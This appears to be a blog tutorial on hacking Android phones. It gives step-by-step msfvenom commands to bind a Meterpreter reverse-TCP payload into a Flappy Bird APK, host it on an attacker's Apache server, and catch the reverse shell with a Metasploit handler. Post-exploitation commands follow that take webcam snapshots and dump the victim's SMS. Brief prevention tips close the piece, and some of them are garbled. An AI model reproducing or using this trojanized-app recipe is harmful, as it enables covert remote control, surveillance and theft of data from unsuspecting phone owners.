Hacking Android Using An Apk

Android Hacking

Abstract: The number of people using smartphones and tablets is on the rise, as these devices support a wide range of functionalities. Android is the most popular mobile OS because it is a platform open to all applications. Like other OSes, Android has its vulnerabilities, and not all Android users install patches to keep OS software and apps up to date and secure. This casualness enables attackers to exploit vulnerabilities and launch various types of attacks to steal valuable data stored on the victims’ devices.

Introduction: Phone hacking involves any method where someone forces access to your phone or its communications. This can range from advanced security breaches to simply listening in on unsecured internet connections. It can also involve physical theft of your phone and forcibly hacking into it via methods like brute force. Phone hacking can happen to all kinds of phones, including Androids and iPhones. Since anyone can be vulnerable to phone hacking, we recommend that all users learn how to identify a compromised device.

Requirements For Performing The attack:-

i. Linux OS ( Parrot /kali Linux)

ii. Android smartphone

Steps Involved In Performing The Attack:-

1. Create and bind payload in a .apk file using msfvenom by typing the following command

msfvenom -x flappy.apk -p android/meterpreter/reverse_tcp lhost=192.168.0.102 lport=4444 -o flappybird.apk

2. Copy the payload (i.e flappybird.apk) in the apache2 server using the following command .

cp flappybird.apk /var/www/html

3. Start the apache2 service from the attacker's machine using

service apache2 start

4. Download the flappybird.apk (i.e the payload injected apk ) in the android phone from the apache2 server which we just hosted in the attacker’s machine by opening any web browser and type

https://192.168.0.102/flappybird.apk

5. Now install the application, give all the permissions to the application and start playing the game i.e flappy bird

6. In the attacker’s machine open Metasploit and type the following commands and wait for the reverse_shell connections from the android phone

msfconsole

use multi/handler

set payload android/meterpreter/reverse_tcp

set lhost 192.168.0.102

set lport 4444

7. Now when the victim starts playing the game on their phone the attacker will get a reverse shell connection in the attacker’s machine. To check the active reverse shell sessions type

sessions -i

sessions -i 1

8. Now that we got a session from the victim’s device, we can exploit the android device using various commands.

* Type help in the msfconsole to see a list of available commands to exploit

Here are some examples of exploitation:-

a. check if the android device is rooted or not using

check_root

b.take snaps from the webcam using

webcam_snap -i 2

c. Dump all the SMS from the victim’s phone using

dump_sms

Preventive measures:-

i.Never download APKs from unknown sources

ii. Avoid visiting random websites

iii. Avoid suspicious messages

iv. Turn off installation from unknown sources to avoid random apps being installed automatically .

v. Use tor or VPN when browsing through unknown networks

vi. Revoke Unnecessary permissions from the unused apps

vii. useless apps as possible instead use PWAs (Progressive Web Apps)

viii. instead of full apps.

x.Avoid using the same password everywhere

I hope you enjoyed reading this article :)

cheers...